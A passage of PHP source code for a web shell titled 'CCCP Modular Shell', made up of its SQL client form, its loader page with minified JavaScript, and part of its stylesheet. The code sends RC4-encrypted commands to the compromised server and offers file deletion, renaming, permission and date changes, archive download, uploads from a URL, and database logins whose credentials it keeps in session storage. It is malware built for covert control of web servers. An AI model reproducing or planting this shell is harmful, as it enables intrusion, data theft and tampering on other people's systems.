2030 }
2031
2032 $sBuff .= '</td>
2033 <td id="dbRes" style="vertical-align:top;width:100%;padding:0 10px;"></td>
2034 </tr></tbody></table>';
2035 if (isset($p['sqlinit'])) $sBuff .= mHide('jseval', 'dbhistory("s");');
2036
2037 sql_close($p['type'], $con);
2038 } else
2039 $sBuff .= sDialog('Unable to connect to database');
2040 } else {
2041 $sqllist = array();
2042 if (function_exists('mysql_connect') || function_exists('mysqli_connect')) $sqllist['mysql'] = 'MySQL [using mysql_* or mysqli_*]';
2043 if (function_exists('mssql_connect') || function_exists('sqlsrv_connect')) $sqllist['mssql'] = 'MsSQL [using mssql_* or sqlsrv_*]';
2044 if (function_exists('pg_connect')) $sqllist['pgsql'] = 'PostgreSQL [using pg_*]';
2045 if (function_exists('oci_connect]')) $sqllist['oracle'] = 'Oracle [using oci_*]';
2046 if (function_exists('sqlite_open')) $sqllist['sqlite'] = 'SQLite [using sqlite_*]';
2047 if (class_exists('SQLite3')) $sqllist['sqlite3'] = 'SQLite3 [using class SQLite3]';
2048 if (function_exists('odbc_connect')) $sqllist['odbc'] = 'ODBC [using odbc_*]';
2049 if (class_exists('PDO')) $sqllist['pdo'] = 'PDO [using class PDO]';
2050
2051 $sBuff .= '
2052 <div class="table floatCenter" style="width: 50%;">
2053 <div class="table-row">
2054 <div class="table-col floatCenter"><h2>' . tText('sql', 'SQL') . '</h2></div>
2055 </div>
2056 <div class="table-row" style="text-align:left;">
2057 <div class="table-col"><form>' .
2058 mInput('host', 'localhost', '<span id="sh">' . tText('sq7', 'Host') . '</span>', 1, '', 'style="width: 99%;"') .
2059 '<span id="su">' . mInput('user', '', tText('sq0', 'Username'), 1, '', 'style="width: 99%;"') . '</span>' .
2060 '<span id="sp">' . mInput('pass', '', tText('sq1', 'Password'), 1, '', 'style="width: 99%;"') . '</span>' .
2061 '<span id="so">' . mInput('port', '', tText('sq2', 'Port (optional)'), 1, '', 'style="width: 99%;"') . '</span>' .
2062 mSelect('type', $sqllist, false, false, 'dbengine(this)', tText('sq3', 'Engine')) .
2063 mHide('me', 'sql') . mHide('sqlinit', 'init') . mHide('jseval', 'dbengine(d.getElementById("type"));dbhistory("v");') .
2064 '<center>' . mSubmit(tText('go', 'Go!'), 'ajaxLoad(serialize(d.forms[0]));', 1) . '</center>' .
2065 '</form><br>Or use www.adminer.org</div>
2066 </div>';
2067 }
2068 } else if ($p['me'] === 'loader') {
2069 $defAction = 'ajaxLoad("me=filemanager' . (isset($p['dir']) ? '&dir=' . rawurlencode($p['dir']) : '') . '")';
2070 $loader = '<!DOCTYPE html>
2071 <html>
2072 <head>
2073 <meta http-equiv=Content-Type content="text/html; charset=iso-8859-1">
2074 <meta http-equiv=Pragma content=no-cache>
2075 <meta http-equiv=Expires content="wed, 26 Feb 1997 08:21:57 GMT">
2076 <meta name="robots" content="noindex, nofollow, noarchive" />
2077 <link rel="shortcut icon" href="data:image/x-icon;base64,AAABAAEAEBAAAAEAIABoBAAAFgAAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAD+AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD+AAAA+AIGAv8IHAn/CSIL/wkiC/8JIgv/CSIL/wkiC/8JIgv/CSIL/wkiC/8JIgv/CSIL/wkhC/8FEQb/AAEA9wABAPsHGgj/IHUm/yeOLv8njS7/J40u/yeOLv8nji7/J40u/yaMLf8njS7/J44u/yeNLv8miy3/FEYX/wEDAfsAAQD7CB4K/yWGK/8sojX/LKE0/y2iNf8rnDL/I4Iq/x1nIv8aXh7/HWki/yWEKv8rnTP/LJ80/xZQGv8BAwH7AAEA+wgeCv8lhSv/LKE1/yyhNP8okS//FlAa/wccCf8DCgP/AQUC/wMLA/8IHgn/F1Uc/yiRMP8WUBr/AQMB+wABAPsIHgr/JYUr/yyhNf8pljH/FEkX/wMLA/8AAAb/AAAV/wAAC/8AAAD/AAAA/wQQBf8bYyD/FlAa/wEDAfsAAQD7CB4K/yWFK/8sojT/HWki/wQQBf8AAAb/AABS/wAAnv8AAGT/AAAN/wAAAP8DDAT/Gl4e/xZQGv8BAwH7AAEA+wgeCv8lhiz/KZcx/w84Ev8BAgH/AAAk/wAAu/8AAOL/AAB2/wAADf8DCQP/E0UW/yeOLv8WUBr/AQMB+wABAPsIHgr/JYcs/ySFK/8IHgr/AAAA/wAALf8AAI3/AABe/wABFP8FEAb/FUwY/yiSL/8rnjP/FlAa/wEDAfsAAQD7CB4K/yWGK/8fdCX/BA8E/wAAAP8AAAf/AAAQ/wEFBv8JIgv/G2Qh/yqXMf8soTT/K50z/xZQGv8BAwH7AAEA+wgeCv8lhSv/HGci/wIIA/8AAQD/AgYC/wcZCf8USRj/I4Iq/yueM/8soTT/LKA0/yudM/8WUBr/AQMB+wABAPsIHgr/JYQr/xxnIf8GGAj/CycN/xVLGP8ieyj/Kpoy/yygNP8soDT/LKA0/yygNP8rnTP/FlAa/wEDAfsAAQD7CB4K/yWFK/8miy7/IHcm/yeNLf8snTP/LaI1/yyhNP8soDT/LKA0/yygNP8soDT/K50z/xZQGv8BAwH7AAEA+wYZCP8ebSP/JIQr/ySEK/8khCv/JIQr/ySDK/8kgyv/JIMr/ySDK/8kgyv/JIMr/yOBKv8SQhX/AQMB+wABAPsBBAH/BRIG/wYWB/8GFgf/BhYH/wYWB/8GFgf/BhYH/wYWB/8GFgf/BhYH/wYWB/8GFQf/AwsE/wABAPsAAAD+AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD+AAAmAAAAJgAAACYAAAAmAAAAJgAAACYAAAAmAAAAJgAAACYAAAAmAAAAJgAAACYAAAAmAAAAJgAAACYAAAAmAA==" />
2078 <title>CCCP Modular Shell</title>
2079 <script type="text/javascript">
2080 var targeturl = "' . getSelf() . '";
2081 var h=0;var j=1;var d=document;var euc=encodeURIComponent;var onDrag=false;var dragX,dragY,dragDeltaX,dragDeltaY,lastAjax,lastLoad="";var copyBuffer=[];sorttable={k:function(a){sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.-]((\d\d)?\d\d)$/,0==a.getElementsByTagName("thead").length&&(the=d.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);if(1==a.tHead.rows.length){sortbottomrows=[];for(b=0;b<a.rows.length;b++)-1!=a.rows[b].className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(sortbottomrows){null==a.tFoot&&(tfo=d.createElement("tfoot"),a.appendChild(tfo));for(b=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}headrow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bsorttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sorttable["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];c=headrow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sorted_reverse"),this.removeChild(d.getElementById("sorttable_sortfwdind")),sortrevind=d.createElement("span"),sortrevind.id="sorttable_sortrevind",sortrevind.innerHTML=" ▴",this.appendChild(sortrevind);else if(-1!=this.className.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.className.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(d.getElementById("sorttable_sortrevind")),sortfwdind=d.createElement("span"),sortfwdind.id="sorttable_sortfwdind",sortfwdind.innerHTML=" ▾",this.appendChild(sortfwdind);else{theadrow=this.parentNode;l(theadrow.childNodes,function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=d.getElementById("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=d.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind);this.className+=" sorttable_sorted";sortfwdind=d.createElement("span");sortfwdind.id="sorttable_sortfwdind";sortfwdind.innerHTML=" ▾";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_array[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f||(e.f=n++);c.b||(c.b={});g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=sorttable.l;for(c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].rows[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}return sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&&a.getElementsByTagName("input").length;if(""!=a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textContent.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerText.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.value.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case 11:for(b="",c=0;c<a.childNodes.length;c++)b+=sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:function(a){newrows=[];for(b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=parseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(c=0,e=a.length-1,g=h;g;){for(g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;if(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};n=1;function p(a){b=h;a||(a=((this.ownerDocument||this.document||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);c=this.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.returnValue=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(e=0;e<a.length;e++)b.call(c,a[e],e,a)});Function.prototype.forEach=function(a,b,c){for(e in a)"undefined"==typeof this.prototype[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){c=Object;if(a instanceof Function)c=Function;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};function append(e,c){o=d.getElementById(e);if(o)o.innerHTML+=c}function prepend(e,c){o=d.getElementById(e);if(o)o.innerHTML=c+o.innerHTML}function remove(e){o=d.getElementById(e);if(o)o.parentNode.removeChild(o)}function empty(e){o=d.getElementById(e);if(o)o.innerHTML=null}function serialize(form){var i,j,q=[];if(!form||form.nodeName!=="FORM")return;for(i=form.elements.length-1;i>=0;i=i-1){if(form.elements[i].name==="")continue;switch(form.elements[i].nodeName){case"INPUT":switch(form.elements[i].type){case"text":case"hidden":case"password":case"button":case"reset":case"submit":q.push(form.elements[i].name+"="+euc(form.elements[i].value));break;case"checkbox":case"radio":if(form.elements[i].checked)q.push(form.elements[i].name+"="+euc(form.elements[i].value));break;case"file":break}break;case"TEXTAREA":q.push(form.elements[i].name+"="+euc(form.elements[i].value));break;case"SELECT":switch(form.elements[i].type){case"select-one":q.push(form.elements[i].name+"="+euc(form.elements[i].value));break;case"select-multiple":for(j=form.elements[i].options.length-1;j>=0;j=j-1){if(form.elements[i].options[j].selected)q.push(form.elements[i].name+"="+euc(form.elements[i].options[j].value))}break}break;case"BUTTON":switch(form.elements[i].type){case"reset":case"submit":case"button":q.push(form.elements[i].name+"="+euc(form.elements[i].value));break}break}}return q.join("&")}function getData(s,m){k=rc4Init(hash);try{if(m==="e"){r=euc(btoa(rc4(randStr(28)+s,k)))}else r=rc4(atob(s),k).substr(28)}catch(err){r=d}return r}function ajax(p,cf){console.log(p);var ao={};lastAjax=p;ao.cf=cf;ao.request=new XMLHttpRequest();ao.bindFunction=function(caller,object){return function(){return caller.apply(object,[object])}};ao.stateChange=function(object){if(ao.request.readyState==4)ao.cf(getData(ao.request.responseText,"d"))};if(window.XMLHttpRequest){req=ao.request;req.onreadystatechange=ao.bindFunction(ao.stateChange,ao);req.open("POST",targeturl,true);req.setRequestHeader("X-Requested-With","XMLHttpRequest");req.setRequestHeader("Content-Type","application/x-www-form-urlencoded");req.setRequestHeader("Connection","close");req.send("dsr="+getData(p,"e"))}return ao}function dpath(e,t){if(t)return d.getElementById("base").value+e.parentNode.parentNode.getAttribute("data-path");else return e.parentNode.parentNode.getAttribute("data-path")}function drag_start(){if(!onDrag){onDrag=true;d.addEventListener("mousemove",function(e){dragX=e.pageX;dragY=e.pageY},false);setTimeout("drag_loop()",50)}}function drag_loop(){if(onDrag){x=dragX-dragDeltaX;y=dragY-dragDeltaY;if(x<0)x=0;if(y<0)y=0;o=d.getElementById("box").style;o.left=x+"px";o.top=y+"px";setTimeout("drag_loop()",50)}}function drag_stop(){onDrag=false}function show_box(t,ct){hide_box();box="<div id=\'box\' class=\'box\'><p id=\'boxtitle\' class=\'boxtitle\'>"+t+"<span onclick=\'hide_box();\' class=\'boxclose floatRight\'>x</span></p><div class=\'boxcontent\'>"+ct+"</div></div>";append("content",box);x=(d.body.clientWidth-d.getElementById("box").clientWidth)/2;y=(d.body.clientHeight-d.getElementById("box").clientHeight)/2;if(x<0)x=0;if(y<0)y=0;dragX=x;dragY=y;o=d.getElementById("box").style;o.left=x+"px";o.top=y+"px";d.addEventListener("keyup",function(e){if(e.keyCode===27)hide_box()});d.getElementById("boxtitle").addEventListener("click",function(e){e.preventDefault();if(!onDrag){dragDeltaX=e.pageX-parseInt(o.left);dragDeltaY=e.pageY-parseInt(o.top);drag_start()}else drag_stop()},false);if(d.getElementById("uival"))d.getElementById("uival").focus()}function hide_box(){onDrag=false;remove("box");remove("dlf")}function ajaxLoad(p){empty("content");append("content","<div class=\'loading\'></div>");ajax(p,function(r){empty("content");append("content",r);uiUpdateControls();lastLoad=p})}function uiUpdateControls(){o=d.getElementById("jseval");if(o)eval(o.value);o=d.getElementById("sort");if(o)sorttable.k(o);o=d.getElementById("etime");if(o)d.getElementById("uetime").innerHTML=o.value}function viewSize(f){f.innerHTML="<div class=\'loading mini\'></div>";ajax("me=filemanager&md=vs&f="+euc(dpath(f,true)),function(r){f.innerHTML=r})}function godir(f,t){ajaxLoad("me=filemanager&dir="+euc(dpath(f,t)))}function godisk(f){ajaxLoad("me=filemanager&dir="+euc(f.getAttribute("data-path")))}function godirui(){ajaxLoad("me=filemanager&dir="+euc(d.getElementById("goui").value))}function showUI(a,o){path=dpath(o,false);datapath=dpath(o,true);disabled="";text="Name";btitle="Go!";if(a==="del"){disabled="disabled";title="Del"}else if(a==="ren"){title="Rename"}else if(a==="mpers"){path=o.innerHTML.substring(17,21);title="Chmod/Chown";text=title.substring(0,5)}else if(a==="mdate"){path=o.getAttribute("data-ft");title="Date";text=title}else if((a==="cdir")||(a==="cfile")){path="";datapath=d.getElementById("base").value;title="Create directory";if(a==="cfile")title="Create file"}ct="<table class=\'boxtbl\'>"+"<tr><td class=\'colFit\'>"+text+"</td><td><input class=\'\' name=\'uival\' id=\'uival\' value=\'"+path+"\' type=\'text\' "+disabled+" /></td></tr>"+"<tr data-path=\'"+datapath+"\'><td colspan=\'2\'><span class=\'button\' onclick=\'processUI(""+a+"", dpath(this, false), d.getElementById("uival").value);\'>"+btitle+"</span></td></tr>"+"</table>";show_box(title,ct)}function showUISec(a){btitle="Go!";uival="";n="""";s=serialize(d.forms[0]).replace(/chkall=&/g,"");s=s.substring(0,s.indexOf("&goui="));if(a==="comp"){title="Download"}else if(a==="uncomp"){title="Uncompress"}else if(a==="copy"){title="Copy";uival="<tr><td class=\'colFit\'>To</td><td><input class=\'\' name=\'uival\' id=\'uival\' value=\'\' type=\'text\' /></td></tr>";n="d.getElementById("uival").value"}else if(a==="rdel"){title="Del"}ct="<table class=\'boxtbl\'>"+uival+"<tr><td colspan=\'2\'><textarea disabled=\'\' wrap=\'off\' style=\'height:120px;min-height:120px;\'>"+decodeURIComponent(s).replace(/&/g,"\n")+"</textarea></td></tr>"+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\'processUI(""+a+"", "&"+s+"&fl="+euc(d.getElementById("base").value)+"", "+n+");\'>"+btitle+"</span></td></tr>"+"</table>";show_box(title,ct)}function showFMExtras(){ct="<form name=\'fmexs\'>"+"<table class=\'boxtbl\'>"+"<tr><td class=\'colFit\'>Show only<select class=\'theme\' id=\'fm_mode\' name=\'fm_mode\' ><option value=\'all\'>All</option><option value=\'file\'>File</option><option value=\'dir\'>Dir</option></select></td><td> </td></tr>"+"<tr><td class=\'colFit\'>Only writable<input id=\'fm_onlyW\' name=\'fm_onlyW\' value=\'1\' type=\'checkbox\' onclick=\'\' /></td><td> </td></tr>"+"<tr><td class=\'colFit\'>Recursive listing<input id=\'fm_rec\' name=\'fm_rec\' value=\'1\' type=\'checkbox\' onclick=\'\' /></td><td> </td></tr>"+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\'ajaxLoad(serialize(d.forms[1]));\'>Show</span></td></tr>"+"</table>"+"<input id=\'me\' name=\'me\' type=\'hidden\' value=\'file\' /><input id=\'dir\' name=\'dir\' type=\'hidden\' value=\'"+d.getElementById("base").value+"\' />"+"</form>";show_box("Show extra tools",ct)}function processUI(a,o,n){if(a==="del"||a==="rdel")if(!confirm(\'Are you sure?\')){hide_box();return}if(a==="comp"){hide_box();append("content","<iframe id=\'dlf\' class=\'hide\' src=\'"+targeturl+"?dsr="+getData("me=filemanager&md=tools&ac=comp&"+o,"e")+"\'></iframe>")}else{if(a==="uncomp")o="dummy"+o;else if(a!=="rdel"&&n==="")return;else if(a!=="copy"&&a!=="rdel")o=euc(o);else if(a==="ren")n=d.getElementById("base").value+n;append("box","<div id=\'mloading\' class=\'loading mini\'></div>");ajax("me=filemanager&md=tools&ac="+a+"&a="+o+"&b="+euc(n),function(r){remove("mloading");if(r==="OK"){hide_box();ajaxLoad(lastLoad)}else append("box","<div class=\'boxresult\'>"+r+"</div>")})}}function dl(o){remove("dlf");append("content","<iframe id=\'dlf\' class=\'hide\' src=\'"+targeturl+"?dsr="+getData("me=filemanager&md=tools&ac=dl&fl="+euc(dpath(o,true)),"e")+"\'></iframe>")}function up(){ct="<form name=\'up\' enctype=\'multipart/form-data\' method=\'post\' action=\'"+targeturl+"\'>"+"<input type=\'hidden\' value=\'"+decodeURIComponent(getData("me=filemanager&ac=up&dir="+euc(d.getElementById("base").value),"e"))+"\' name=\'dsr\'>"+"<table class=\'boxtbl\'>"+"<tr><td class=\'colFit\'>URL</td><td><input class=\'\' name=\'uri\' id=\'uri\' value=\'\' type=\'text\' /></td></tr>"+"<tr><td class=\'colFit\'>File</td><td><input id=\'upf\' name=\'upf\' value=\'\' type=\'file\' /></td></tr>"+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\'upaction()\'>Go!</span></td></tr>"+"</table>"+"</form>";show_box("Upload",ct)}function upaction(){uri=d.getElementById("uri").value;if(uri!=="")processUI("reup",d.getElementById("base").value,uri);else if(d.getElementById("upf").value!=="")document.up.submit()}function uiupdate(t){ajax(serialize(d.forms[t]),function(r){if(!d.getElementById("uires"))prepend("content","<div id=\'uires\' class=\'uires\'></div>");append("uires","Shell response: "+r+"<br>\n");d.getElementById("uires").scrollIntoView()})}function CheckAll(form){for(i=0;i<form.elements.length;i++){e=form.elements[i];if(e.name!="chkall")e.checked=form.chkall.checked}}function toggle(b){if(d.getElementById(b)){if(d.getElementById(b).style.display=="block")d.getElementById(b).style.display="none";else d.getElementById(b).style.display="block"}}function change(l,b){d.getElementById(l).style.display="none";d.getElementById(b).style.display="block";if(d.getElementById("goui"))d.getElementById("goui").focus()}function hilite(e){c=e.parentElement.parentElement;if(e.checked)c.className="mark";else c.className="";a=d.getElementsByName("cbox");b=d.getElementById("total_selected");c=0;for(i=0;i<a.length;i++)if(a[i].checked)c++;if(c==0)b.innerHTML="";else b.innerHTML=" ( selected : "+c+" items )"}function dbexec(c){empty("dbRes");append("dbRes","<div class=\'loading\'></div>");ajax(serialize(d.forms[0])+\'&code=\'+c,function(r){empty("dbRes");append("dbRes",r);uiUpdateControls()})}function dbengine(t){d.getElementById("su").className="hide";d.getElementById("sp").className="hide";d.getElementById("so").className="hide";if((t.value==="odbc")||(t.value==="pdo")){d.getElementById("sh").innerHTML="DSN/Connection String";d.getElementById("su").className="";d.getElementById("sp").className=""}else if((t.value==="sqlite")||(t.value==="sqlite3")){d.getElementById("sh").innerHTML="DB File"}else{d.getElementById("sh").innerHTML="Host";d.getElementById("su").className="";d.getElementById("sp").className="";d.getElementById("so").className=""}}function dbhistory(a){if(a=="s"){o={history:[]};if(sessionStorage.getItem("conlog")!=null)o=JSON.parse(sessionStorage.getItem("conlog"));o.history.push({"type":d.getElementById("type").value,"host":d.getElementById("host").value,"port":d.getElementById("port").value,"user":d.getElementById("user").value,"pass":d.getElementById("pass").value});sessionStorage.setItem("conlog",JSON.stringify(o))}else if(sessionStorage.getItem("conlog")!=null){s="";o=JSON.parse(sessionStorage.getItem("conlog"));for(i=0;i<o.history.length;i++){u="me=sql&host="+o.history[i].host+"&port="+o.history[i].port+"&user="+o.history[i].user+"&pass="+o.history[i].pass+"&type="+o.history[i].type;s+="["+o.history[i].type.toUpperCase()+"] "+o.history[i].user+"@"+o.history[i].host+"<span style=\'float:right;\'><a href=\'#\' onclick=\'ajaxLoad(""+u+"")\'>Go!</a></span><br>"}if(s!="")prepend("content","<div id=\'uires\' class=\'uires\'>"+s+"</div>")}}
2082 ' . $defAction . '
2083 </script>
2084 <style type="text/css">
2085 *{
2086 box-sizing: border-box;
2087 color: #fff;
2088 font-family: verdana;
2089 text-decoration: none;
2090 }
2091 body{
2092 background-color: #000;
2093 }
2094 body, td, th{
2095 color: #d9d9d9;
2096 font-size: 11px;
2097 }
2098 td{
2099 font-size: 8pt;
2100 color: #ebebeb;
2101 }
2102 td.header{
2103 font-weight: normal;
2104 font-size: 10pt;
2105 background: #7d7474;
2106 }
2107 a{
2108 font-weight: normal;
2109 color: #dadada;
2110 }
2111 a.links{
2112 text-decoration: none;
2113 }
2114 a:hover{
2115 text-decoration: underline;
2116 }
2117 input, textarea, button, select, option{
2118 background-color: #800;
2119 border: 0;
2120 font-size: 8pt;
2121 font-family: Tahoma;
2122 margin: 5px;
2123 padding: 6px;
2124 }
2125 select, option{
2126 padding: 3px;
2127 }
2128 p{
2129 margin-top: 0px;
2130 margin-bottom: 0px;
2131 size-height: 150%
2132 }
2133 table.sortable tbody tr:hover td{
2134 background-color: #8080FF;
2135 }
2136 table.sortable tbody tr:nth-child(2n), .alt1{
2137 background-color: #7d7474;
2138 }
2139 table.sortable tbody tr:nth-child(2n+1), .alt2{
2140 background-color: #7d7f74;
2141 }
2142 pre{
2143 font: 9pt Courier, Monospace;
2144 }
2145 .bigarea{
2146 height: 220px;
2147 width: 100%;
2148 }
2149 .ml1{
2150 border:1px solid #444;
2151 padding:5px;
2152 margin:0;
2153 overflow: auto;
2154 }
2155 .notif{
2156 border-radius: 6px 6px 6px 6px;
2157 font-weight: 700;
2158 margin: 3px 0;
2159 padding: 4px 8px 4px;
2160 }
2161 .uiinfo{
2162 display: none;
2163 border: 1px solid #800000;
2164 border-radius: 6px 6px 6px 6px;
2165 margin: 4px 0;
2166 width: 100%;
2167 }
2168 .explore{
2169 width:100%;
2170 border-collapse:collapse;
2171 border-spacing:0;
2172 }
2173 .explore a{
2174 text-decoration:none;
2175 }
2176 .explore td{
2177 padding:5px 10px 5px 5px;
2178 }
2179 .explore th{
2180 font-weight:700;
2181 background-color:#222;
2182 }
2183 .explore tbody tr:hover, .mark{
2184 background-color:#8080FF;
2185 }
2186 .box{
2187 min-width:50%;
2188 border:1px solid #fff;
2189 padding:8px 8px 0 8px;
2190 position:fixed;
2191 background:#000;
2192 box-shadow:1px 1px 25px #150f0f;
2193 opacity:0.96;
2194 }
2195 .boxtitle{
2196 background:#7d7474;
2197 font-weight:bold;
2198 text-align:center;
2199 cursor: move;
2200 padding: 3px;
2201 }
2202 .boxtitle a, .boxtitle a:hover{
2203 color:#aaa;
2204 }
2205 .boxcontent{
2206 padding:2px 0 2px 0;
2207 }
2208 .boxresult{
2209 padding:4px 10px 6px 10px;
2210 border-top:1px solid #222;
2211 margin-top:4px;
2212 text-align:center;
2213 }
2214 .boxtbl{
2215 border:1px solid #222;
2216 border-radius:8px;
2217 padding-bottom:8px;
2218 }
2219 .boxtbl td{
2220 vertical-align:middle;
2221 padding:8px 15px;
2222 border-bottom:1px dashed #222;
2223 }
2224 .boxtbl input, .boxtbl select, .boxtbl textarea, .boxtbl, .button{
2225 width:100%;
2226 }
2227 .boxlabel{
2228 text-align: center;
2229 border-bottom:1px solid #222;
2230 padding-bottom:8px;
2231 }
2232 .boxclose{
2233 background:#222;
2234 padding:2px;
2235 margin-right:2px;
2236 padding:0 4px;
2237 cursor:pointer;
2238 }
2239 .button{
2240 min-width:120px;
2241 color:#fff;
2242 background:#800;
2243 border:none;
2244 display:block;
2245 text-align:center;
2246 /*float:left;*/
2247 padding: 6px;
2248 cursor:pointer;
2249 }
2250 .button:hover, #ulDragNDrop:hover{
2251 background:#820;
2252 }
2253 .floatLeft{
2254 text-align:left;
2255 float:left;
2256 }
2257 .floatRight{
2258 float:right;
2259 }
2260 .floatCenter{
2261 text-align:center;
2262 margin-left:auto;
2263 margin-right:auto;
2264 }
2265 .colFit{
2266 width:1px;
2267 white-space:nowrap;
2268 }
2269 .colSpan{
2270 width:100%;
2271 }
2272 .loading {
2273 margin-left: auto;
2274 margin-right: auto;
2275 background-color: rgba(0,0,0,0);
2276 border: 5px solid #800;
2277 opacity: .9;
2278 border-top: 5px solid rgba(0,0,0,0);
2279 border-left: 5px solid rgba(0,0,0,0);
2280 border-radius: 50px;
2281 box-shadow: 0 0 35px #800;
2282 width: 50px;
2283 height: 50px;
2284 margin: 0 auto;
2285 -moz-animation: spin .5s infinite linear;
2286 -webkit-animation: spin .5s infinite linear;
2287 }
2288 .mini {
2289 border: 2px solid #800;
2290 border-top: 2px solid rgba(0,0,0,0);
2291 border-left: 2px solid rgba(0,0,0,0);
2292 border-radius: 10px;
2293 box-shadow: 0;
2294 width: 15px;
2295 height: 15px;
2296 }
2297 @-moz-keyframes spin {
2298 0% {-moz-transform: rotate(0deg);}
2299 100% {-moz-transform: rotate(360deg);};
2300 }
2301 @-moz-keyframes spinoff {
2302 0% {-moz-transform: rotate(0deg);}
2303 100% {-moz-transform: rotate(-360deg);};
2304 }
2305 @-webkit-keyframes spin {
2306 0% {-webkit-transform: rotate(0deg);}
2307 100% {-webkit-transform: rotate(360deg);};
2308 }
2309 @-webkit-keyframes spinoff {
2310 0% {-webkit-transform: rotate(0deg);}
2311 100% {-webkit-transform: rotate(-360deg);};
2312 }
2313
2314 .hide{
2315 display:none;
2316 margin:0;
2317 padding:0;
2318 }
2319
2320 .touch{cursor:pointer;}
2321 .my{color:yellow;}
2322 .mg{color:green;}
2323 .mr{color:red;}
2324 .mw{color:white;}
2325 .table{display:table;}
2326 .table-caption{display:table-caption;}
2327 .table-row{display:table-row;}
2328 .table-col{display:table-cell; padding: 5px;}
2329
2330 .stdui{
2331 padding:6px;
2332 }
2333
2334 .uires{
2335 border: 1px solid #ddd;
2336 padding: 15px;
2337 margin: 10px;
2338 text-align: center;
2339 font-weight: bold;
2340 }
2341
2342 .image{
2343 width:16px;
2344 height:16px;
